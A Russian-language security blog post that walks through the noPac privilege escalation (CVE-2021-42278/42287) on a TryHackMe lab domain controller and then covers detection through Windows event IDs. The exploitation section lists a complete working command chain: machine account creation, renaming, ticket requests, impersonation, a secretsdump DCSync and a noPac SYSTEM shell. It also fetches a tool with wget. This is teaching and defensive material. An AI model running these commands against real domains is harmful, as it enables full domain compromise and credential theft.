CyberSecurity
November 30, 2024

Кто обзывается — тот SAM так называется

Всем привет!

Не так давно на одном из проектов мне довелось встретиться лицом к лицу с небезызвестной уязвимостью, которая привлекла моё внимание. Хоть уязвимость давно изучена и на неё есть грамотные детекты, ни одно из правил корреляции не отработало, и среди тысяч событий на контроллере домена пришлось искать те, которые прямо или косвенно могут свидетельствовать о её эксплуатации. Почему так? Просто не на всех хостах бывает грамотно настроен аудит, который просто необходим для работы правил корреляции. Так было и в этом случае.

Сегодня мы об этой уязвимости (а, точнее, о паре уязвимостей), которые могут помочь вам повысить привилегии с обычного пользователя до доменного администратора за несколько простых шагов.
Имя этому — sAMAccountName spoofing!

Теория

В ноябре 2021 года внимание многих исследователей привлекли две уязвимости, поскольку их комбинация позволяет злоумышленнику повысить свои права до администратора домена, если в распоряжении атакующего есть скомпрометированная УЗ пользователя в домене.

Суть уязвимости CVE-2021-42278 (sAMAccountName spoofing) состоит в том, что по умолчанию пользователь может добавлять компьютеры в домен (до 10 узлов), а также изменять атрибут sAMAccountName добавленных компьютеров (а точнее их доменных учетных записей). Чтобы узнать, у кого есть права на добавление компьютеров в домен, необходимо проверить в групповых политиках настройку SeMachineAccountPrivilege в разделе Default Domain Controller Policy (Computer Configuration\Windows Settings\Security Settings\User Rights Assignment\). Данная уязвимость используется не сама по себе, а для эксплуатации уязвимости CVE-2021-42287, которая позволяет выдать скомпрометированный узел за контроллер домена.
Давайте поговорим об уязвимостях поподробнее.

1. CVE-2021-42278 — name impersonation

Как известно, учетные записи компьютеров должны иметь символ $ в своем имени (имеется в виду атрибут sAMAccountName), но ранее не существовало процесса проверки, чтобы убедиться в этом.

Немного о sAMAccountName
sAMAccountName — имя учетной записи SAM, предназначенное для совместимости со старыми операционными системами (до Windows 2000). Впрочем это не означает, что sAMAccountName не используется в качестве имени для входа в современных системах Windows. Значение атрибута sAMAccountName для УЗ должно быть уникальным в рамках домена, имеет ограничение в 20 символов и работает в сочетании с NETBIOS именем домена, например LAB\ivanov_ii. sAMAccountName является обязательным атрибутом пользователя.

2. CVE-2021-42287 — обман KDC

При запросе сервисного билета (ST, TGS) принципалу сначала требуется предоставить TGT. Если запрашиваемый в рамках билета сервис не найден KDC, KDC автоматически выполняет повторный поиск, добавляя символ $ в конце имени. Иными словами, когда клиент запрашивает ST, контроллер сперва смотрит в предоставленный клиентом TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер добавляет символ $ к этому имени и шифрует отправляемый TGS с использованием ключа объекта "name$".

Так, уязвимость CVE-2021-42287 заключается в том, что при выполнении проверки подлинности Kerberos в случае, если TGS был запрошен для учетной записи, которую не удалось найти, KDC добавит к ней в конце $ и попытается найти ее снова.
Представим ситуацию, когда скомпрометированный узел запросит ST с предоставлением TGT, полученного для учетной записи, названной так же, как и контроллер домена, а затем (перед запросом ST) переименованной, то ему будет выдан ST с правами контроллера домена, так как KDC не удастся сразу найти такую учетную запись, вместо этого он обнаружит УЗ с $ на конце, которая и будет являться sAMAccountName контроллера домена.

Звучит сложно и непонятно? Не переживайте, сейчас разберемся.

В рамках атаки используется расширение Kerberos S4U2self. Расширение Kerberos S4U2self позволяет службе запрашивать билет от имени пользователя для себя, который затем можно использовать в S4U2proxy. Это сделано для того, чтобы разрешить делегирование Kerberos для тех клиентов, которые не поддерживают протокол Kerberos.

Эксплуатация

Возможность редактирования атрибутов sAMAccountName и servicePrincipalName учетной записи компьютера для осуществления атаки является обязательным требованием.
Самый простой способ выполнить это требование — создать учетную запись компьютера (например, используя атрибут MachineAccountQuota в случае, если он больше 0). Создатель новой учетной записи компьютера имеет достаточно привилегий для редактирования ее атрибутов. Если же MAQ равен нулю, альтернативный способ эксплуатации — получение контроля над владельцем/создателем учетной записи компьютера в рамках, например, горизонтального перемещения.
Для того чтобы определить, есть ли у этой УЗ права на добавление компьютеров в домен, воспользуемся инструментом windapsearch. Команда:

python3 windapsearch.py --dc [IP-адрес контроллера домена] -u [полное имя пользователя в домене] -p [пароль] --custom '(&(objectClass=domain)(distinguishedName= [distinguishedName домена]))' --attrs ms-ds-machineAccountQuota
MAQ по умолчанию в домене

Атаку можно осуществить следующим образом:

  1. 1. Очистить атрибут servicePrincipalName учетной записи контролируемой машины от любого значения, указывающего на ее имя (например host/machine.domain.local, RestrictedKrbHost/machine.domain.local);
  2. Изменить атрибут sAMAccountName учетной записи контролируемой машины на имя контроллера домена без завершающего символа $, что возможно благодаря CVE-2021-42278;
  3. Запросить TGT для УЗ контролируемой машины;
  4. Изменить sAMAccountName учетной записи контролируемой машины до ее первоначального значения (или любого другого, отличного от имени контроллера домена без конечного $);
  5. Запросить S4U2self ST, предъявив полученный ранее TGT, где вступает в бой CVE-2021-42287;
  6. Получить доступ к контроллеру домена (например, DCSync или шелл).

В рамках подготовки материала я развернул уязвимую лабораторию, состоящую из одного контроллера домена и атакующей машины с Kali, однако, чтобы у каждого из вас была возможность при желании повторить эту атаку, я переписал материал под уязвимую машину Enterprise с TryHackMe. Эксплуатация этой уязвимости — незапланированный вектор решения этой комнаты, и мы рассматриваем его только в обучающих целях.

Полный перечень команд, которыми осуществлялась успешная эксплуатация, приведу сразу ниже:

# Создаём УЗ компьютера при помощи Impacket
impacket-addcomputer -computer-name 'mypc#39; -computer-pass 'P@ssw0rd' -dc-host LAB-DC -domain-netbios LAB 'LAB.ENTERPRISE.THM/nik:ToastyBoi!'

# Переименовывем УЗ компьютера, выбираем имя контроллера домена без $
./renameMachine.py -current-name 'mypc#39; -new-name 'LAB-DC' -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'nik':'ToastyBoi!'

# Запрашиваем TGT для нашего ПК lab-dc
impacket-getTGT -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'LAB-DC':'P@ssw0rd'

# Сбрасываем имя УЗ компьютера на первоначальное (или любое)
./renameMachine.py -current-name 'LAB-DC' -new-name 'mypc#39; -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'nik':'ToastyBoi!'

# Получаем ST с S4U2self, предоставляя полученный на 3 шаге TGT:
KRB5CCNAME='LAB-DC.ccache' python3 getST.py -self -impersonate 'banana' -altservice 'cifs/LAB-DC.LAB.ENTERPRISE.THM' -k -no-pass -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'LAB-DC'

# pwned?
KRB5CCNAME='banana@cifs_LAB-DC.LAB.ENTERPRISE.THM@LAB.ENTERPRISE.THM.ccache' impacket-secretsdump -k -no-pass LAB-DC.LAB.ENTERPRISE.THM -dc-ip LAB-DC.LAB.ENTERPRISE.THM

Демонстрация атаки

Пусть у нас есть уязвимый контроллер домена:

Результат сканирования цели nmap

Набор портов говорит о том, что это DC (иначе откуда там LDAP, Kerberos, DNS и т.п.). Поскольку мы будем абъюзить Kerberos, добавляем запись в hosts:
10.10.89.250 LAB-ENTERPRISE LAB-DC.LAB.ENTERPRISE.THM LAB-DC

На текущем этапе мы уже взяли первого пользователя (например, отравили WPAD и нашли жертву, которая ввела пароль в Basic Auth), и нам известны его креды: LAB.ENTERPRISE.THM/nik:ToastyBoi!

Проверим, что пользователь валидный, а заодно перечислим всех пользователей в домене. Для этого я буду использовать CrackMapExec:

CME с нашим пользвателем

Мы мало что понимаем об их сущности, так что давайте осуществим перечисление домена при помощи LDAP (эту активность, как синей команде, нам помогает найти событие 1644 на контроллере домена):

ldapdomaindump -u 'LAB.ENTERPRISE.THM\nik' -p 'ToastyBoi!' -d LAB.ENTERPRISE.THM LAB-DC.LAB.ENTERPRISE.THM
Результат LdapdomainDump

ldapdomaindump даёт очень красивый результат, и мы можем подробнее познакомиться с нашими пользователями.

Мне приглянулся юзер banana, и у него есть определенные привилегии относительно DC. Почему banana? Да я просто чилловый парень и люблю бананы:

Нам нужно будет олицетворить этого пользователя, не зная его пароль и вообще ничего о нем. Получится? Давайте посмотрим!

Добавим объект компьютера в домен с определённым логином и паролем. Они могут быть любыми, но для красоты и простоты не будем усложнять:

Добавление УЗ компьютера и её переименование

Тут же при помощи скрипта renameMachine изменяем ему имя на имя, соответствующее контроллеру домена: LAB-DC.LAB.ENTERPRISE.THM.
Недостающий скрипт качаем отсюда.

Далее запрашиваем TGT для заведённой нами УЗ компьютера. Благо, сделать это нетрудно, так как мы знаем пароль:

Запрос TGT и переименование УЗ нашего компьютера

После получения TGT меняем имя компьютера, чтобы при запросе сервисного билета SAM lab-dc найден не был, и повторный поиск был осуществлён для lab-dc$ (а это УЗ контроллера домена).

Используя TGT, запрашиваем TGS при помощи скрипта getST.py. На этом этапе может возникнуть проблема (Impacket может не знать свитч -self, поэтому используем скрипт, где эта опция точно есть). Скачать его можно здесь.

Если нет понимания, куда тыкать, забираем напрямую при помощи wget:

wget https://github.com/ShutdownRepo/impacket/blob/2fc02e655bd799465fa62d235905263b00cf2db3/examples/getST.py
Запрос билета и имперсонификация пользователя banana

Сразу же после запроса сервисного билета осуществляем DCSync:

DCSync!

Автоматизация действий

До сих пор кажется, что, как будто бы, каждый раз проделывать такой трюк довольно сложно. Тем более пытаться разобраться в работе скриптов, которые нужно скачивать с гитхаба.
На помощь приходит скрипт noPac, который проделывает все эти шаги за вас!
Синтаксис у него очень похож на синтаксис Impacket:

python3 /opt/noPac/noPac.py LAB.ENTERPRISE.THM/nik:'ToastyBoi!' -dc-ip 10.10.89.250 -dc-host LAB-DC -shell --impersonate administrator -use-ldap

В результате мы можем получить тикет от имени любой УЗ в домене на право доступа к контроллеру домена. Да, и билет мы можем получить, не зная об учетной записи ничего кроме её имени. В идеале нас интересует УЗ администратора домена.
Давайте проделаем атаку и имперсонируем себя непривилегированным пользователем:

Ошибка доступа...

Действительно, атака была неудачная.

Но стоит нам взять администратора:

Запуск Whoami от системы на DC!

И мы получаем шелл от имени SYSTEM на узле контроллера домена, что открывает дальнейший простор для атаки, по сути означая компрометацию всего домена!

Если присмотреться, то этапность атаки та же самая, только в начале есть ещё одна проверка — проверка MAQ, о которой я говорил в самом начале.

Обнаружение

Для демонстрации атаки в журналах Windows на уже скомпрометированной машине я завёл логирование и очистил логи. После успешной эксплуатации вытащил журнал, и всё для того, чтобы показать результаты вам!
Давайте поэтапно пройдемся по всем шагам атаки.

Анализ атаки стоит начинать с поиска успешных входов. В данном случае мы получаем информацию о скомпрометированной УЗ и адресе источника атаки.

4624 — событие успешного входа

Событие 4624

Входов будет несколько, и первый их них связан с получением атрибута MAQ.
Нас же интересует второй вход:

4741 — событие создание УЗ компьютера

Событие 4741

Здесь мы обращаем внимание на имя создаваемого ПК, его ID, атрибут SAM Account Name, а также пользователя и ID сессии. Это помогает нам скоррелировать это событие с событием успешного входа, где виден IP-адрес источника атаки.
Рядом будет событие 4724 о сбросе пароля от УЗ компьютера — 4724, но оно нам не очень интересно (хотя видно, что это один из этапов атаки).

Событие 4724

4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ

После добавления компьютера, очистки атрибутов его УЗ и изменения пароля, мы должны увидеть событие изменения имени учетной записи. Новое имя учетной записи SAM должно совпадать с именем DC (в нашем случае LAB-DC). В этом нам поможет событие 4742:

Событие 4742

Здесь мы обращаем внимание на SID изменяемой учетной записи, пользователя, ID-сессии и новое имя.
Помимо события 4742 поможет событие об изменении имени УЗ — 4781.

Событие 4781

4768 — запрос TGT

После переименования УЗ подконтрольного компьютера для неё должен быть запрошен TGT. Это нам покажет событие 4768:

Событие 4768

Что нам интересно здесь:

  1. Имя УЗ, для которой запрашивается билет (совпадает с именем DC, но без $);
  2. Источник;
  3. SID УЗ (это SID созданного компьютера);
  4. Тип шифрования билета (он отличается от привычного для Impacket 0x17).

4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ

После успешного запроса TGT УЗ компьютера должна быть снова переименована, и обнаружить это помогают события 4742 и 4781, уже известные нам:

4769 — запрос TGS

Следующим этапом идёт запрос TGS с использованием ранее выданного TGT. Здесь на помощь приходит событие 4769:

Здесь стоит обратить внимание на имя учетной записи, а также на источник, с которого идёт запрос. Это помогает нам скоррелировать указанное событие с ранее наблюдаемыми.

4624 — событие успешного входа, 4672 — привилегированный вход

В рамках атаки я старался получить TGS для другой учетной записи — banana. К сожалению, эта информация не отображена в событии запроса TGS, но сразу же после запроса билета мы наблюдаем событие успешной аутентификации по протоколу Kerberos, а также назначенные привилегии (благодаря аудиту события 4672):

Дальнейшие события были связаны с исполнением команд на контроллере. Осуществляется это исполнение через удалённое создание служб:
Событие 5145 (доступ к шаре):

Событие 4697 (создание службы, используемого для исполнения команд):

Событие 4688 (создание процесса):

Результат исполнения команды отображается в \\127.0.0.1\ADMIN$\__output, и несложно понять, что следующим событием будет подключение к ресурсу ADMIN$ к файлу __output:

Ниже видна запись в этот файл:

Удаленное чтение файла:

И его удаление:

На этом увлекательное путешествие по этим уязвимостям подошло к концу. Надеюсь, вы узнали для себя что-то новое!